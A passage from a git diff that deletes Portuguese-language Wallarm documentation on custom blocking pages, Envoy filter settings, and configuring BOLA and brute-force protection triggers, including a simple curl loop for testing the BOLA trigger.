bloqueio customizada `/usr/share/nginx/html/block.html` e o código de erro 445 retornado se a solicitação se originou de qualquer endereço IP da lista de negação. - -#### Arquivo de configuração NGINX - -```bash -wallarm_block_page &/usr/share/nginx/html/wallarm_blocked_renamed.html response_code=445 type=attack; -wallarm_block_page &/usr/share/nginx/html/block.html response_code=445 type=acl_ip,acl_source; -``` - -Para aplicar as configurações ao contêiner Docker, o arquivo de configuração NGINX com as configurações apropriadas deve ser montado no contêiner juntamente com os arquivos `wallarm_blocked_renamed.html` e `block.html`. [Executando o contêiner montando o arquivo de configuração →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### Anotações de ingresso - -Antes de adicionar a anotação de ingresso: - -1. [Criar ConfigMap dos arquivos](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files) `wallarm_blocked_renamed.html` e `block.html`. -2. Monte o ConfigMap criado no pod com o controlador de ingresso Wallarm. Para isso, atualize o objeto de Implementação relevante para o controlador de ingresso Wallarm seguindo as [instruções](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap). - - !!! info "Diretório para ConfigMap montado" - Como os arquivos existentes no diretório usado para montar ConfigMap podem ser excluídos, é recomendado criar um novo diretório para os arquivos montados via ConfigMap. - -Anotações de ingresso: - -```bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="&/usr/share/nginx/html/wallarm_blocked_renamed.html response_code=445 type=attack;&/usr/share/nginx/html/block.html response_code=445 type=acl_ip,acl_source" -``` - -### URL para o redirecionamento do cliente - -Este exemplo mostra as configurações para redirecionar o cliente para a página `host/err445` se o nó de filtragem bloquear a solicitação originada de países, regiões ou data centers na lista de negação. - -#### Arquivo de configuração NGINX - -```bash -wallarm_block_page /err445 type=acl_source; -``` - -Para aplicar as configurações para o contêiner Docker, o arquivo de configuração do NGINX com as configurações apropriadas deve ser montado no contêiner. [Executando o contêiner montando o arquivo de configuração →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### Anotações de ingresso - -```bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="/err445 type=acl_source" -``` - -### Named NGINX `location` - -Este exemplo mostra as configurações para retornar ao cliente a mensagem `A página é bloqueada` e o código de erro 445, independentemente do motivo do bloqueio da solicitação (modo de bloqueio ou bloqueio seguro, origem na lista de negação como um único IP / sub-rede / país ou região / data center). - -#### Arquivo de configuração NGINX - -```bash -wallarm_block_page @block type=attack,acl_ip,acl_source; -location @block { - return 445 'A página é bloqueada'; -} -``` - -Para aplicar as configurações ao contêiner Docker, o arquivo de configuração NGINX com as configurações apropriadas deve ser montado no contêiner. [Executando o contêiner montando o arquivo de configuração →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### Anotações de ingresso - -```bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/server-snippet="location @block {return 445 'A página é bloqueada';}" -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="@block type=attack,acl_ip,acl_source" -``` - -### Variável e código de erro - -Esta configuração é retornada ao cliente se a solicitação se originou da fonte colocada na lista de negação como um único IP ou subnet. O nó Wallarm retorna o código 445 e a página de bloqueio com o conteúdo que depende do valor do cabeçalho `User-Agent`: - -* Por padrão, a [página de bloqueio de amostra modificada](#customizing-sample-blocking-page) Wallarm `/usr/share/nginx/html/wallarm_blocked_renamed.html` é retornada. Como as variáveis do NGINX são usadas no código da página de bloqueio, esta página deve ser inicializada através da diretiva `wallarm_block_page_add_dynamic_path`. -* Para os usuários do Firefox - `/usr/share/nginx/html/block_page_firefox.html` (se implantar o controlador de ingreso Wallarm, é recomendável criar um diretório separado para os arquivos de página de bloqueio personalizadas, i.e. `/usr/custom-block-pages/block_page_firefox.html`): - - ```bash - Você está bloqueado! - - IP ${remote_addr} - Bloqueado em ${time_iso8601} - UUID ${request_id} - ``` - - Como as variáveis do NGINX são usadas no código da página de bloqueio, esta página deve ser inicializada através da diretiva `wallarm_block_page_add_dynamic_path`. -* Para usuários do Chrome - `/usr/share/nginx/html/block_page_chrome.html` (se implantar o controlador de ingresso Wallarm, é recomendável criar um diretório separado para os arquivos de página de bloqueio personalizadas, i.e. `/usr/custom-block-pages/block_page_chrome.html`): - - ```bash - Você está bloqueado! - ``` - - Como as variáveis do NGINX NÃO são usadas no código da página de bloqueio, esta página NÃO deve ser inicializada. - -#### Arquivo de configuração NGINX - -```bash -wallarm_block_page_add_dynamic_path /usr/share/nginx/html/block_page_firefox.html /usr/share/nginx/html/wallarm_blocked_renamed.html; - -map $http_user_agent $block_page { - "~Firefox" &/usr/share/nginx/html/block_page_firefox.html; - "~Chrome" &/usr/share/nginx/html/block_page_chrome.html; - default &/usr/share/nginx/html/wallarm_blocked_renamed.html; -} - -wallarm_block_page $block_page response_code=445 type=acl_ip; -``` - -Para aplicar as configurações para o contêiner Docker, o arquivo de configuração NGINX com as configurações apropriadas deve ser montado no contêiner junto com os arquivos `wallarm_blocked_renamed.html`, `block_page_firefox.html` e `block_page_chrome.html`. [Executando o contêiner montando o arquivo de configuração →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### Controlador de ingresso - -1. Passe o parâmetro `controller.config.http-snippet` para o Helm chart implantado usando o comando [`helm upgrade`](https://helm.sh/docs/helm/helm_upgrade/): - - ```bash - helm upgrade --reuse-values --set controller.config.http-snippet='wallarm_block_page_add_dynamic_path /usr/custom-block-pages/block_page_firefox.html /usr/share/nginx/html/wallarm_blocked_renamed.html; map $http_user_agent $block_page { "~Firefox" &/usr/custom-block-pages/block_page_firefox.html; "~Chrome" &/usr/custom-block-pages/block_page_chrome.html; default &/usr/share/nginx/html/wallarm_blocked_renamed.html;}' wallarm/wallarm-ingress -n - ``` -2. [Criar o ConfigMap a partir dos arquivos](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files) `wallarm_blocked_renamed.html`, `block_page_firefox.html` e `block_page_chrome.html`. -3. Monte o ConfigMap criado no pod com o controlador de ingresso Wallarm. Para isso, atualize o objeto de Implementação relevante para o controlador de ingresso Wallarm seguindo as [instruções](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap). - - !!! info "Diretório para ConfigMap montado" - Como os arquivos existentes no diretório usado para montar ConfigMap podem ser excluídos, é recomendado criar um novo diretório para os arquivos montados via ConfigMap. -4. Adicione a seguinte anotação a Ingress: - - ```bash - kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page='$block_page response_code=445 type=acl_ip' - ``` diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/envoy/fine-tuning.md b/docs/latest-pt-BR/admin-en/configuration-guides/envoy/fine-tuning.md deleted file mode 100644 index 3d0dc518d2..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/envoy/fine-tuning.md +++ /dev/null @@ -1,161 +0,0 @@ -# Opções de configuração para o nó Wallarm baseado no Envoy - -[link-lom]: ../../../user-guides/rules/rules.md - -[anchor-process-time-limit]: #processtimelimit -[anchor-tsets]: #filtering-mode-settings - -O Envoy usa filtros pluggable definidos no arquivo de configuração do Envoy para processar as solicitações recebidas. Estes filtros descrevem as ações a serem realizadas na solicitação. Por exemplo, um filtro `envoy.http_connection_manager` é usado para proxy de requisições HTTP. Este filtro possui seu próprio conjunto de filtros HTTP que podem ser aplicados à solicitação. - -O módulo Wallarm é projetado como um filtro HTTP do Envoy. As configurações gerais do módulo são colocadas em uma seção dedicada ao filtro HTTP `wallarm`: - -``` -listeners: - - address: - filter_chains: - - filters: - - name: envoy.http_connection_manager - typed_config: - http_filters: - - name: wallarm - typed_config: - "@type": type.googleapis.com/wallarm.Wallarm - - ... -``` - -!!! warning "Ative o processamento do corpo da solicitação" - Para habilitar o módulo Wallarm a processar um corpo de solicitação HTTP, o filtro buffer deve ser colocado antes do nó de filtragem na cadeia de filtros HTTP do Envoy. Por exemplo: - - ``` - http_filters: - - name: envoy.buffer - typed_config: - "@type": type.googleapis.com/envoy.config.filter.http.buffer.v2.Buffer - max_request_bytes: - - name: wallarm - typed_config: - "@type": type.googleapis.com/wallarm.Wallarm - - ... - ``` - - Se o tamanho da solicitação recebida exceder o valor do parâmetro `max_request_bytes`, então esta solicitação será descartada e o Envoy retornará o código de resposta `413` ("Payload Too Large"). - -## Configurações de filtragem de solicitações - -A seção `rulesets` do arquivo contém os parâmetros relacionados às configurações de filtragem de solicitações: - -``` -rulesets: -- name: rs0 - pdb: /etc/wallarm/proton.db - custom_ruleset: /etc/wallarm/custom_ruleset - key: /etc/wallarm/private.key - general_ruleset_memory_limit: 0 - enable_libdetection: "on" - ... -- name: rsN: - ... -``` - -As entradas `rs0` ... `rsN` são um ou mais grupos de parâmetros. Os grupos podem ter qualquer nome (para que possam ser referenciados posteriormente através do parâmetro [`ruleset`](#ruleset_param) na seção `conf`). Pelo menos um grupo deve estar presente na configuração do nó de filtragem (por exemplo, com o nome `rs0`). - -Esta seção não tem valores padrão. Você precisa especificar explicitamente os valores no arquivo de configuração. - -!!! info "Nível de definição" - Esta seção pode ser definida apenas no nível do nó de filtragem. - -Parâmetro | Descrição | Valor padrão ---- | ---- | ----- -`pdb` | Caminho para o arquivo `proton.db`. Este arquivo contém as configurações globais para a filtragem de solicitações, que não dependem da estrutura do aplicativo. | `/etc/wallarm/proton.db` -`custom_ruleset` | Caminho para o arquivo [custom ruleset][link-lom] que contém informações sobre o aplicativo protegido e as configurações do nó de filtragem. | `/etc/wallarm/custom_ruleset` -`key` | Caminho para o arquivo com a chave privada Wallarm usada para criptografia/descriptografia dos arquivos proton.db e custom ruleset. | `/etc/wallarm/private.key` -`general_ruleset_memory_limit` | Limite para a quantidade máxima de memória que pode ser usada por uma instância de proton.db e custom ruleset. Se o limite de memória for excedido ao processar alguma solicitação, o usuário receberá o erro 500. Os seguintes sufixos podem ser usados neste parâmetro:
        • `k` ou `K` para kilobytes
        • `m` ou `M` para megabytes
        • `g` ou `G` para gigabytes
        O valor `0` desativa o limite. | `0` -`enable_libdetection` | Ativa/desativa validação adicional dos ataques de SQL Injection com a [**libdetection** library](../../../about-wallarm/protecting-against-attacks.md#library-libdetection). Se a biblioteca não confirmar a carga maliciosa, a solicitação é considerada legítima. Utilizar a biblioteca **libdetection** permite reduzir o número de falsos positivos entre os ataques de SQL Injection.

        Por padrão, a biblioteca **libdetection** está habilitada. Para a melhor detecção de ataques, recomendamos que a biblioteca permaneça habilitada.

        Ao analisar ataques utilizando a biblioteca **libdetection**, a quantidade de memória consumida pelos processos NGINX e Wallarm pode aumentar em cerca de 10%. | `on` - -## Configurações do módulo de pós-análise - -A seção `tarantool` do nó de filtragem contém os parâmetros relacionados ao módulo de pós-análise: - -``` -tarantool: - server: - - uri: localhost:3313 - max_packets: 512 - max_packets_mem: 0 - reconnect_interval: 1 -``` - -A entrada `server` é um grupo de parâmetros que descreve as configurações para o servidor Tarantool. - -!!! info "Nível de definição" - Esta seção pode ser definida apenas no nível do nó de filtragem. - -Parâmetro | Descrição | Valor padrão ---- | ---- | ----- -`uri` | String com as credenciais utilizadas para se conectar ao servidor Tarantool. O formato da string é `endereço IP` ou `nome do domínio:porta`. | `localhost:3313` -`max_packets` | Limite do número de solicitações serializadas a serem enviadas para o Tarantool. Para remover o limite, defina `0` como o valor do parâmetro. | `512` -`max_packets_mem` | Limite do volume total (em bytes) de solicitações serializadas a serem enviadas para o Tarantool. | `0` (o volume não é limitado) -`reconnect_interval` | Intervalo (em segundos) entre tentativas de reconexão ao Tarantool. Um valor de `0` significa que o nó de filtragem tentará se reconectar ao servidor o mais rápido possível se o servidor render indisponível (não recomendado). | `1` - -## Configurações básicas - -A seção `conf` da configuração do Wallarm contém os parâmetros que influenciam as operações básicas do nó de filtragem: - -``` -conf: - ruleset: rs0 - mode: "monitoring" - mode_allow_override: "off" - application: 42 - process_time_limit: 1000 - process_time_limit_block: "attack" - request_memory_limit: 104857600 - wallarm_status: "off" - wallarm_status_format: "json" - parse_response: true - unpack_response: true - parse_html_response: true -``` - -!!! info "Nível de definição" - Para um nível de proteção mais flexível, esta seção pode ser sobrescrita no nível da rota ou do host virtual: - - * No nível da rota: - - ``` - routes: - - match: - typed_per_filter_config: - wallarm: - "@type": type.googleapis.com/wallarm.WallarmConf - - ``` - - * No nível do host virtual: - ``` - virtual_hosts: - - name: - typed_per_filter_config: - wallarm: - "@type": type.googleapis.com/wallarm.WallarmConf - - ``` - Os parâmetros na seção `conf` sobrescrita no nível da rota têm prioridade sobre os parâmetros na seção definida no nível do host virtual, que por sua vez têm prioridade mais alta que os parâmetros listados na seção no nível do nó de filtragem. - -Parâmetro | Descrição | Valor padrão ---- | ---- | ----- -        `ruleset` | Um dos grupos de parâmetros que é definido na seção `rulesets`. Este grupo de parâmetros define as regras de filtragem de solicitações a serem usadas.
        Se este parâmetro for omitido da seção `conf` do nó de filtragem, então ele deve estar presente na seção `conf` sobrescrita no nível da rota ou host virtual. | - -`mode` | Modo do nó:
        • `block` - para bloquear solicitações maliciosas.
        • `monitoring` - para analisar, mas não bloquear solicitações.
        • `safe_blocking` - para bloquear apenas aquelas solicitações maliciosas originadas de [endereços IP na lista cinza](../../../user-guides/ip-lists/graylist.md).
        • `monitoring` - para analisar, mas não bloquear solicitações.
        • `off` - para desativar a análise e processamento do tráfego.

        [Descrição detalhada dos modos de filtragem →](../../configure-wallarm-mode.md) | `block` -`mode_allow_override` | Permite a substituição do modo do nó de filtragem que é definido através do parâmetro `mode` com o [custom ruleset][link-lom]:
        • `off` - custom ruleset é ignorado.
        • `strict` - custom ruleset pode apenas fortalecer o modo de operação.
        • `on` - é possível tanto fortalecer quanto suavizar o modo de operação.
        Por exemplo, se o parâmetro `mode` for definido com o valor `monitoring` e o parâmetro `mode_allow_override` for definido com o valor `strict`, então será possível bloquear algumas solicitações (`block`), mas não desativar completamente o nó de filtragem (`off`). | `off` -`application` | Identificador único da aplicação protegida a ser usado na nuvem Wallarm. O valor pode ser um inteiro positivo exceto `0`.

        [Mais detalhes sobre a configuração de aplicações →](../../../user-guides/settings/applications.md) | `-1` -`partner_client_uuid` | Identificador único do [inquilino](../../../installation/multi-tenant/overview.md) para o nó [multi-inquilino](../../../installation/multi-tenant/deploy-multi-tenant-node.md) do Wallarm. O valor deve ser uma string no formato [UUID](https://en.wikipedia.org/wiki/Universally_unique_identifier#Format), por exemplo:
        • `11111111-1111-1111-1111-111111111111`
        • `123e4567-e89b-12d3-a456-426614174000`

        Saiba como:

        • [Obter o UUID do inquilino durante a criação do inquilino →](../../../installation/multi-tenant/configure-accounts.md#step-3-create-the-tenant-via-the-wallarm-api)
        • [Obter a lista de UUIDs dos inquilinos existentes →](../../../updating-migrating/older-versions/multi-tenant.md#get-uuids-of-your-tenants)
            • | - -`process_time_limit` |

            O parâmetro foi depreciado

            A partir da versão 3.6, é recomendado fazer ajustes finos na detecção do ataque `overlimit_res` usando a regra **Ajuste fino da detecção de ataque overlimit_res**.
            O parâmetro `process_time_limit` é temporariamente suportado, mas será removido em futuras versões.

            Limite no tempo de processamento de uma única solicitação (em milissegundos). Se a solicitação não puder ser processada no tempo definido, então uma mensagem de erro será registrada no arquivo de log e a solicitação será marcada como um ataque `overlimit_res`. | `1000` -`process_time_limit_block` |

            O parâmetro foi depreciado

            A partir da versão 3.6, é recomendado fazer ajustes finos na detecção do ataque `overlimit_res` usando a regra **Ajuste fino da detecção de ataque overlimit_res**.
            O parâmetro `process_time_limit_block` é temporariamente suportado, mas será removido em futuras versões.

            Ação a ser tomada quando o tempo de processamento da solicitação exceder o limite definido pelo parâmetro `process_time_limit`:
            • `off` - as solicitações são sempre ignoradas.
            • `on` - as solicitações são sempre bloqueadas, a menos que `mode: "off"`.
            • `attack` - depende do modo de bloqueio de ataque definido pelo parâmetro `mode`:
              • `off` - as solicitações não são processadas.
              • `monitoring` - as solicitações são ignoradas.
              • `block` - as solicitações são bloqueadas.
            | `attack` -`wallarm_status` | Se habilita o [serviço de estatísticas do nó de filtragem](../../configure-statistics-service.md). | `false` -`wallarm_status_format` | Formato das [estatísticas do nó de filtragem](../../configure-statistics-service.md): `json` ou `prometheus`. | `json` -`disable_acl` | Permite desativar a análise das origens das solicitações. Se desativado (`on`), o nó de filtragem não baixa [listas IP](../../../user-guides/ip-lists/overview.md) da nuvem Wallarm e ignora a análise dos IPs de origem das solicitações. | `off` -`parse_response` | Se analisa as respostas do aplicativo. A análise da resposta é necessária para a detecção de vulnerabilidades durante a [detecção passiva](../../../about-wallarm/detecting-vulnerabilities.md#passive-detection) e a [verificação ativa de ameaças](../../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification).

            Os valores possíveis são `true` (análise da resposta está habilitada) e `false` (análise da resposta está desabilitada). | `true` -`unpack_response` | Se descomprime dados comprimidos retornados na resposta do aplicativo. Os valores possíveis são `true` (a descompressão está habilitada) e `false` (a descompressão está desabilitada).

            Este parâmetro é efetivo apenas se `parse_response true`. | `true` -`parse_html_response` | Se aplica os parsers HTML ao código HTML recebido na resposta do aplicativo. Os valores possíveis são `true` (o parser HTML é aplicado) e `false` (o parser HTML não é aplicado).

            Este parâmetro é efetivo apenas se `parse_response true`. | `true` diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/ldap/ldap.md b/docs/latest-pt-BR/admin-en/configuration-guides/ldap/ldap.md deleted file mode 100644 index c7e205dee0..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/ldap/ldap.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/ldap/ldap.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/protecting-against-bola.md b/docs/latest-pt-BR/admin-en/configuration-guides/protecting-against-bola.md deleted file mode 100644 index 27e140513b..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/protecting-against-bola.md +++ /dev/null @@ -1,106 +0,0 @@ -[variability-in-endpoints-docs]: ../../api-discovery/overview.md#variability-in-endpoints -[changes-in-api-docs]: ../../api-discovery/exploring.md#tracking-changes-in-api -[bola-protection-for-endpoints-docs]: ../../api-discovery/overview.md#automatic-bola-protection - -# Configuração da proteção BOLA (IDOR) - -Ataques comportamentais como [Autorização em Nível de Objeto Quebrado (BOLA)](../../attacks-vulns-list.md#broken-object-level-authorization-bola) exploram a vulnerabilidade de mesmo nome. Esta vulnerabilidade possibilita que um invasor acesse um objeto através de sua identificação via uma solicitação de API e leia ou modifique seus dados, contornando um mecanismo de autorização. Este artigo orienta você sobre como proteger suas aplicações contra ataques BOLA. - -Por padrão, a Wallarm descobre automaticamente apenas as vulnerabilidades do tipo BOLA (também conhecida como IDOR), mas não detecta tentativas de exploração. - -Com a Wallarm, você tem as seguintes opções para detectar e bloquear ataques BOLA: - -* [Criação manual do gatilho **BOLA**](#criacao-manual-do-gatilho-BOLA) -* [Utilização do módulo de descoberta de API com a proteção automática BOLA - ativada através da interface do usuário do console Wallarm](#protecao-automatica-BOLA-para-endpoints-descobertos-pela-descoberto-de-API) - -!!! Aviso "Restrições de proteção BOLA" - Apenas o nó Wallarm 4.2 e superior suporta a detecção de ataques BOLA. - - O nó Wallarm 4.2 e superior analisa apenas as seguintes solicitações em busca de sinais de ataque BOLA: - - * Solicitações enviadas via protocolo HTTP. - * Solicitações que não contêm sinais de outros tipos de ataque, por exemplo, as solicitações não são consideradas como um ataque BOLA se: - - * Essas solicitações contêm sinais de [ataques de validação de entrada](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks). - * Essas solicitações coincidem com a expressão regular especificada na [regra **Criar indicador de ataque baseado em expressão regular**](../../user-guides/rules/regex-rule.md#adding-a-new-detection-rule). - -## Requisitos - -Para proteger os recursos contra ataques BOLA, certifique-se de que o seu ambiente cumpre os seguintes requisitos: - -* Você tem o nó Wallarm 4.2 ou superior. -* Se o nó de filtragem estiver implantado atrás de um servidor proxy ou balanceador de carga, [configure](../using-proxy-or-balancer-en.md) a exibição dos endereços IP reais dos clientes. - -## Criação manual do gatilho BOLA - -Para o nó Wallarm identificar os ataques BOLA: - -1. Abra o console Wallarm → **Gatilhos** e proceda à configuração do gatilho **BOLA**. -1. Defina as condições para definir as solicitações como um ataque BOLA: - - * O número de **Solicitações do mesmo IP** para um determinado período de tempo. - * **URI** para ser protegido contra ataques BOLA e receber o número especificado de solicitações. O valor deve ser um endpoint da API apontando para um objeto por seu identificador, pois este tipo de endpoint é potencialmente vulnerável a ataques BOLA. - - Para especificar o parâmetro PATH que identifica um objeto, utilize o símbolo `*`, exemplo: - - ```bash - example.com/lojas/*/informacoes_financeiras - ``` - - O URI pode ser configurado através do [construtor de URI](../../user-guides/rules/rules.md#uri-constructor) ou [formulário de edição avançada](../../user-guides/rules/rules.md#advanced-edit-form) na janela de criação de gatilho. - - * (Opcional) [**Aplicação**](../../user-guides/settings/applications.md) para ser protegida contra ataques BOLA e receber o número especificado de solicitações. - - Se você usa o mesmo nome para vários domínios, este filtro é recomendado para apontar para a aplicação a qual o domínio no filtro **URI** está atribuído. - - * (Opcional) Um ou mais **IPs** originando as solicitações. -1. Selecione reações aos gatilhos: - - * **Marcar como BOLA**. Solicitações que ultrapassam o limite são marcadas como um ataque BOLA e exibidas na seção **Eventos** do console Wallarm. O nó Wallarm NÃO bloqueia estas solicitações maliciosas. - * [**Bloquear endereço de IP**](../../user-guides/ip-lists/denylist.md) originando solicitações maliciosas e o período de bloqueio. - - O nó Wallarm bloqueará as solicitações tanto legítimas quanto maliciosas (inclusive ataques BOLA) originadas do IP bloqueado. - - * [**Lista de IPs em estado de alerta**](../../user-guides/ip-lists/graylist.md) originando solicitações maliciosas e o período de bloqueio. - - O nó Wallarm bloqueará solicitações originadas de IPs em estado de alerta somente se contiverem indícios de [validação de entrada](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks), [o `vpatch`](../../user-guides/rules/vpatch-rule.md) ou [sinais de ataque personalizados](../../user-guides/rules/regex-rule.md). - - !!! informação "Ataques BOLA originados de IPs em estado de alerta" - Ataques BOLA originados de IPs em estado de alerta não são bloqueados. -1. Salve o gatilho e aguarde a [conclusão da sincronização entre o Cloud e o nó](../configure-cloud-node-synchronization-en.md) (geralmente leva de 2 a 4 minutos). - -Exemplo do gatilho para detectar e bloquear ataques BOLA direcionados aos dados financeiros da loja (o endpoint da API é `https://example.com/lojas/{id_loja}/informacoes_financeiras`): - -![Gatilho BOLA](../../images/user-guides/triggers/trigger-example7.png) - -Você pode configurar vários gatilhos com diferentes filtros para a proteção BOLA. - -## Proteção automática BOLA para endpoints descobertos pelo recurso de Descoberta de API  - -A proteção automática BOLA está disponível se você utilizar o módulo **[Descoberta de API](../../api-discovery/overview.md)**. - -Para habilitar a autoproteção, vá para o console Wallarm → **Proteção BOLA** e ative a opção: - -![Gatilho BOLA](../../images/user-guides/bola-protection/trigger-enabled-state.png) - ---8<-- "../include-pt-BR/waf/features/bola-mitigation/bola-auto-mitigation-logic.md" - -A seção **Proteção BOLA** da interface do usuário permite que você ajuste o comportamento padrão da Wallarm (incluindo o bloqueio de ataques BOLA) [editando o modelo de autodetecção BOLA](../../user-guides/bola-protection.md). - -## Testando a configuração da proteção BOLA - -1. Envie o número de solicitações que excede o limite configurado para o URI protegido. Por exemplo, 50 solicitações com diferentes valores de `{id_loja}` para o endpoint `https://example.com/lojas/{id_loja}/informacoes_financeiras`: - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://example.com/lojas/$i/informacoes_financeiras ; done - ``` -1. Se a reação ao gatilho for **Bloquear o endereço de IP**, abra Wallarm Console → **Listas de IPs** → **Lista de bloqueios** e verifique se o endereço de IP fonte está bloqueado. - - Se a reação ao gatilho for **Lista de IPs em estado de alerta**, verifique a seção **Listas de IPs** → **Lista de Alerta** do Console Wallarm. -1. Abra a seção **Eventos** e verifique se as solicitações estão exibidas na lista como um ataque BOLA. - - ![Ataque BOLA na interface do usuário](../../images/user-guides/events/bola-attack.png) - - O número de solicitações exibidas corresponde ao número de solicitações enviadas após ter excedido o limite do gatilho ([mais detalhes sobre a detecção de ataques comportamentais](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks)). Se este número for superior a 5, a amostragem de solicitações é aplicada e os detalhes da solicitação são exibidos apenas para os 5 primeiros hits ([mais detalhes sobre a amostragem das solicitações](../../user-guides/events/analyze-attack.md#sampling-of-hits)). - - Para buscar ataques BOLA, você pode utilizar a tag de busca `bola`. Todos os filtros estão descritos nas [instruções sobre o uso de pesquisa](../../user-guides/search-and-filters/use-search.md). \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/protecting-against-bruteforce.md b/docs/latest-pt-BR/admin-en/configuration-guides/protecting-against-bruteforce.md deleted file mode 100644 index 2a1b080140..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/protecting-against-bruteforce.md +++ /dev/null @@ -1,101 +0,0 @@ -# Configuração da proteção contra ataques de força bruta - -Ataque comportamental (ataque de força bruta) é um dos tipos de ataque que podem ser detectados pelo Wallarm, se configurado adequadamente. Estas instruções fornecem etapas para configurar o nó Wallarm para proteger suas aplicações contra ataques de força bruta. Por padrão, o nó Wallarm não detecta ataques de força bruta. - -Existem as seguintes classes de ataques de força bruta: - -* [Ataques de força bruta regulares](../../attacks-vulns-list.md#brute-force-attack): quebra de senha por força bruta, identificador de sessão por força bruta, preenchimento de credenciais. Esses ataques são caracterizados por um grande número de solicitações com diferentes valores de parâmetro forçado enviados para um URI típico por um período limitado de tempo. -* [Navegação forçada](../../attacks-vulns-list.md#forced-browsing). Esses ataques são caracterizados por um grande número de códigos de resposta 404 retornados a solicitações para diferentes URIs por um período limitado de tempo. - - O objetivo desse ataque é enumerar e acessar recursos ocultos (por exemplo, diretórios e arquivos contendo informações sobre componentes de aplicação). O tipo de ataque de navegação forçada geralmente permite aos invasores coletar informações sobre a aplicação e, em seguida, realizar outros tipos de ataque, explorando essas informações. - -[Descrição detalhada de força bruta →](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks) - -!!! warning "Restrições de proteção de força bruta" - Ao procurar sinais de ataque de força bruta, os nós Wallarm analisam apenas solicitações HTTP que não contém sinais de outros tipos de ataque. Por exemplo, as solicitações não são consideradas parte de um ataque de força bruta nos seguintes casos: - - * Essas solicitações contêm sinais de [ataques de validação de entrada](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks). - * Essas solicitações correspondem à expressão regular especificada na [regra **Criar indicador de ataque baseado em regexp**](../../user-guides/rules/regex-rule.md#adding-a-new-detection-rule). - -## Etapas de configuração - -1. Se o nó de filtragem estiver implantado atrás de um servidor proxy ou balanceador de carga, então [configure](../using-proxy-or-balancer-en.md) a exibição de um endereço IP real do cliente. -1. [Configure](#configuring-the-trigger-to-identify-brute-force) o gatilho **Força bruta** ou **Navegação forçada**. -1. [Teste](#testing-the-configuration-of-brute-force-protection) a configuração da proteção de força bruta. - -## Configurando o gatilho para identificar força bruta - -!!! info "Gatilhos para o número de solicitações" - Abaixo está a descrição da configuração simplificada da proteção da força bruta. A condição do gatilho **Número de solicitações** foi substituída por duas condições para detecção de diferentes classes de ataque de força bruta. Além disso, o ajuste das regras **Marcar solicitações como um ataque de navegação forçada / força bruta** não é mais necessário. - - Se o gatilho para **Número de solicitações** e as regras para o etiquetamento de ataques estiverem configurados, eles ainda funcionarão, mas as regras não poderão ser atualizadas ou recriadas. No entanto, recomendamos simplificar a configuração atual conforme descrito abaixo e desativar os gatilhos antigos. - -Os gatilhos definem as condições para a detecção do ataque de força bruta. Dependendo da classe do ataque de força bruta a ser detectada, você pode definir as seguintes condições: - -* **Força bruta** para detectar ataques regulares de força bruta com base no número de solicitações originadas do mesmo endereço IP. -* **Navegação forçada** para detectar os ataques de navegação forçada com base no número dos códigos de resposta 404 retornados às solicitações que têm a mesma origem nas solicitações IP. - -Os passos para configurar o gatilho são: - -1. Abra o Console Wallarm → seção **Gatilhos** e abra a janela para criação de gatilho. -2. Selecione a condição **Força bruta** ou **Navegação forçada** dependendo da classe de ataque de força bruta a ser detectada. -3. Defina o limite: - - * Se a condição do gatilho é **Força bruta** - o limite é para o número de solicitações originadas do mesmo endereço IP por um período de tempo. - * Se a condição do gatilho é **Navegação forçada** - o limite é para o número de códigos de resposta 404 retornados às solicitações que têm a mesma origem nas solicitações IP. -4. Se necessário, especifique **URI** para ativar o gatilho apenas para solicitações enviadas para certos endpoints, por exemplo: - - * Se você configurar a proteção contra quebra de senhas por força bruta, especifique o URI usado para autenticação. - * Se você configurar proteção contra ataques de navegação forçada, especifique o URI do diretório de arquivo de recursos. - * Se o URI não for especificado, o gatilho será ativado em qualquer endpoint com o número de solicitações excedendo o limite. - - O URI pode ser configurado através do [construtor URI](../../user-guides/rules/rules.md#uri-constructor) ou [formulário de edição avançado](../../user-guides/rules/rules.md#advanced-edit-form) na janela de criação do gatilho. - - !!! warning "Gatilhos com URIs aninhados" - Se URIs aninhados forem especificados nos gatilhos com condições idênticas, as solicitações ao URI de nível de aninhamento inferior serão contadas apenas no gatilho com o filtro pelo URI de nível de aninhamento inferior. O mesmo vale para os códigos de resposta 404. - - Gatilhos sem URI nas condições são considerados de nível de aninhamento superior. - - **Exemplo:** - - * O primeiro gatilho com a condição **Força bruta** não tem filtro pelo URI (solicitações para qualquer aplicação ou sua parte são contadas por este gatilho). - * O segundo gatilho com a condição **Força bruta** tem o filtro pelo URI `example.com/api`. - - Solicitações para `example.com/api` são contadas apenas pelo segundo gatilho com o filtro por `example.com/api`. -5. Se necessário, defina outros filtros de gatilho: - - * **Aplicação** a qual as solicitações são direcionadas. - * Um ou mais **IPs** de onde as solicitações são enviadas. -6. Selecione as reações do gatilho: - - 